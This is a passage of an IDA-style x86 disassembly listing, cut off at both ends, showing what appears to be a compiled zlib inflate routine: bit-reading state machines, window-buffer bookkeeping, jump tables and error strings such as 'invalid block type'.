loc_40A7F1 ; --------------------------------------------------------------------------- loc_40A9BE: ; CODE XREF: sub_40A04E+7AAj mov edx, [ebp+var_10] mov dword ptr [edx], 0 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A9CC: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD95o cmp [ebp+var_28], 0 jnz loc_40AB38 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+2Ch] jnz short loc_40AA26 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+28h] jz short loc_40AA26 mov edx, [ebp+arg_0] mov eax, [edx+28h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40AA14 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_4C], ecx jmp short loc_40AA20 ; --------------------------------------------------------------------------- loc_40AA14: ; CODE XREF: sub_40A04E+9B3j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_4C], eax loc_40AA20: ; CODE XREF: sub_40A04E+9C4j mov ecx, [ebp+var_4C] mov [ebp+var_28], ecx loc_40AA26: ; CODE XREF: sub_40A04E+991j ; sub_40A04E+99Fj cmp [ebp+var_28], 0 jnz loc_40AB38 mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch mov [ebp+arg_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40AA75 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_50], eax jmp short loc_40AA81 ; --------------------------------------------------------------------------- loc_40AA75: ; CODE XREF: sub_40A04E+A14j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_50], edx loc_40AA81: ; CODE XREF: sub_40A04E+A25j mov eax, [ebp+var_50] mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_40AAD7 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_40AAD7 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_40AAC5 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_54], edx jmp short loc_40AAD1 ; --------------------------------------------------------------------------- loc_40AAC5: ; CODE XREF: sub_40A04E+A64j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_54], ecx loc_40AAD1: ; CODE XREF: sub_40A04E+A75j mov edx, [ebp+var_54] mov [ebp+var_28], edx loc_40AAD7: ; CODE XREF: sub_40A04E+A42j ; sub_40A04E+A50j cmp [ebp+var_28], 0 jnz short loc_40AB38 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40AB38: ; CODE XREF: sub_40A04E+982j ; sub_40A04E+9DCj ... mov [ebp+arg_8], 0 mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov dl, [ecx+8] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_28] sub ecx, 1 mov [ebp+var_28], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 0 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40AB6A: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD99o cmp [ebp+var_24], 7 jbe short loc_40AB8B mov eax, [ebp+var_24] sub eax, 8 mov [ebp+var_24], eax mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_40AB8B: ; CODE XREF: sub_40A04E+B20j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40ABD0 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_58], ecx jmp short loc_40ABDC ; --------------------------------------------------------------------------- loc_40ABD0: ; CODE XREF: sub_40A04E+B6Fj mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_58], eax loc_40ABDC: ; CODE XREF: sub_40A04E+B80j mov ecx, [ebp+var_58] mov [ebp+var_28], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+34h] jz short loc_40AC4B mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40AC4B: ; CODE XREF: sub_40A04E+BA0j mov edx, [ebp+var_10] mov dword ptr [edx], 8 loc_40AC54: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD9Do mov [ebp+arg_8], 1 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40ACB6: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040ADA1o mov [ebp+arg_8], 0FFFFFFFDh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp short loc_40AD79 ; --------------------------------------------------------------------------- loc_40AD15: ; CODE XREF: sub_40A04E+75j mov [ebp+arg_8], 0FFFFFFFEh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp short loc_40AD79 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: sub_40A04E+186j ; sub_40A04E+2BFj ... jmp loc_40A0B7 ; --------------------------------------------------------------------------- loc_40AD79: ; CODE XREF: sub_40A04E+228j ; sub_40A04E+3A6j ... mov esp, ebp pop ebp retn sub_40A04E endp ; --------------------------------------------------------------------------- off_40AD7D dd offset loc_40A0D3 ; DATA XREF: sub_40A04E+7Er dd offset loc_40A1FC dd offset loc_40A3F9 dd offset loc_40A4FE dd offset loc_40A6C5 dd offset loc_40A7B0 dd offset loc_40A9CC dd offset loc_40AB6A dd offset loc_40AC54 dd offset loc_40ACB6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADA5 proc near ; CODE XREF: sub_40ADBE+4Ep ; sub_40AF6D+10BCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 pop ebp retn sub_40ADA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADBE proc near ; CODE XREF: sub_40AE75+E9p ; sub_40C2D5+Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_40ADD2 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax], edx loc_40ADD2: ; CODE XREF: sub_40ADBE+7j mov eax, [ebp+arg_0] cmp dword ptr [eax], 4 jz short loc_40ADE2 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 5 jnz short loc_40ADF9 loc_40ADE2: ; CODE XREF: sub_40ADBE+1Aj mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 loc_40ADF9: ; CODE XREF: sub_40ADBE+22j mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 6 jnz short loc_40AE14 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_40ADA5 add esp, 8 loc_40AE14: ; CODE XREF: sub_40ADBE+41j mov edx, [ebp+arg_0] mov dword ptr [edx], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+1Ch], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+20h], 0 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [edx+30h], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_40AE73 push 0 push 0 push 0 mov eax, [ebp+arg_0] call dword ptr [eax+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_40AE73: ; CODE XREF: sub_40ADBE+92j pop ebp retn sub_40ADBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE75 proc near ; CODE XREF: sub_40DAB5+13Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 40h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40AE9E mov eax, [ebp+var_4] jmp loc_40AF69 ; --------------------------------------------------------------------------- loc_40AE9E: ; CODE XREF: sub_40AE75+1Fj push 5A0h push 8 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+var_4] mov [ecx+24h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+24h], 0 jnz short loc_40AEDF mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp loc_40AF69 ; --------------------------------------------------------------------------- loc_40AEDF: ; CODE XREF: sub_40AE75+4Dj mov ecx, [ebp+arg_8] push ecx push 1 mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_4] mov [edx+28h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+28h], 0 jnz short loc_40AF33 mov ecx, [ebp+var_4] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp short loc_40AF69 ; --------------------------------------------------------------------------- loc_40AF33: ; CODE XREF: sub_40AE75+8Dj mov ecx, [ebp+var_4] mov edx, [ecx+28h] add edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [eax+2Ch], edx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [ecx+38h], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 push 0 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_40ADBE add esp, 0Ch mov eax, [ebp+var_4] loc_40AF69: ; CODE XREF: sub_40AE75+24j ; sub_40AE75+65j ... mov esp, ebp pop ebp retn sub_40AE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF6D proc near ; CODE XREF: sub_40DC35+3F3p var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx+4] mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+20h] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40AFBB mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_54], ecx jmp short loc_40AFC7 ; --------------------------------------------------------------------------- loc_40AFBB: ; CODE XREF: sub_40AF6D+3Bj mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_54], eax loc_40AFC7: ; CODE XREF: sub_40AF6D+4Cj mov ecx, [ebp+var_54] mov [ebp+var_18], ecx loc_40AFCD: ; CODE XREF: sub_40AF6D:loc_40C294j mov edx, [ebp+arg_0] mov eax, [edx] mov [ebp+var_58], eax cmp [ebp+var_58], 9 ja loc_40C235 mov ecx, [ebp+var_58] jmp off_40C29D[ecx*4] loc_40AFE9: ; CODE XREF: sub_40AF6D+121j ; DATA XREF: HSho:off_40C29Do cmp [ebp+var_14], 3 jnb loc_40B093 cmp [ebp+var_1C], 0 jz short loc_40B002 mov [ebp+arg_8], 0 jmp short loc_40B05D ; --------------------------------------------------------------------------- loc_40B002: ; CODE XREF: sub_40AF6D+8Aj mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B05D: ; CODE XREF: sub_40AF6D+93j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_40AFE9 ; --------------------------------------------------------------------------- loc_40B093: ; CODE XREF: sub_40AF6D+80j mov eax, [ebp+var_C] and eax, 7 mov [ebp+var_10], eax mov ecx, [ebp+var_10] and ecx, 1 mov edx, [ebp+arg_0] mov [edx+18h], ecx mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_5C], eax cmp [ebp+var_5C], 3 ja loc_40B271 mov ecx, [ebp+var_5C] jmp off_40C2C5[ecx*4] loc_40B0C4: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:off_40C2C5o mov edx, [ebp+var_C] shr edx, 3 mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, 3 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 7 mov [ebp+var_10], ecx mov edx, [ebp+var_C] mov ecx, [ebp+var_10] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_10] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov dword ptr [ecx], 1 jmp loc_40B271 ; --------------------------------------------------------------------------- loc_40B101: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+150j ; DATA XREF: ... mov edx, [ebp+arg_4] push edx lea eax, [ebp+var_2C] push eax lea ecx, [ebp+var_24] push ecx lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax call sub_40CE2B add esp, 14h mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx call sub_409FF9 add esp, 14h mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_40B1AA mov [ebp+arg_8], 0FFFFFFFCh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B1AA: ; CODE XREF: sub_40AF6D+1D9j mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 6 jmp loc_40B271 ; --------------------------------------------------------------------------- loc_40B1CA: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+150j ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 3 jmp loc_40B271 ; --------------------------------------------------------------------------- loc_40B1EA: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+150j ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B271: ; CODE XREF: sub_40AF6D+147j ; sub_40AF6D+18Fj ... jmp loc_40C294 ; --------------------------------------------------------------------------- loc_40B276: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+3ACj ; DATA XREF: ... cmp [ebp+var_14], 20h jnb loc_40B31E cmp [ebp+var_1C], 0 jz short loc_40B28F mov [ebp+arg_8], 0 jmp short loc_40B2EA ; --------------------------------------------------------------------------- loc_40B28F: ; CODE XREF: sub_40AF6D+317j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B2EA: ; CODE XREF: sub_40AF6D+320j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_40B276 ; --------------------------------------------------------------------------- loc_40B31E: ; CODE XREF: sub_40AF6D+30Dj mov ecx, [ebp+var_C] not ecx shr ecx, 10h and ecx, 0FFFFh mov edx, [ebp+var_C] and edx, 0FFFFh cmp ecx, edx jz short loc_40B3AE mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B3AE: ; CODE XREF: sub_40AF6D+3CAj mov edx, [ebp+var_C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov [eax+4], edx mov [ebp+var_14], 0 mov ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_40B3DC mov [ebp+var_60], 2 jmp short loc_40B3EC ; --------------------------------------------------------------------------- loc_40B3DC: ; CODE XREF: sub_40AF6D+464j mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov [ebp+var_60], ecx loc_40B3EC: ; CODE XREF: sub_40AF6D+46Dj mov edx, [ebp+arg_0] mov eax, [ebp+var_60] mov [edx], eax jmp loc_40C294 ; --------------------------------------------------------------------------- loc_40B3F9: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:0040C2A5o cmp [ebp+var_1C], 0 jnz short loc_40B45A mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B45A: ; CODE XREF: sub_40AF6D+490j cmp [ebp+var_18], 0 jnz loc_40B5C6 mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_40B4B4 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_40B4B4 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_40B4A2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_64], edx jmp short loc_40B4AE ; --------------------------------------------------------------------------- loc_40B4A2: ; CODE XREF: sub_40AF6D+522j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_64], ecx loc_40B4AE: ; CODE XREF: 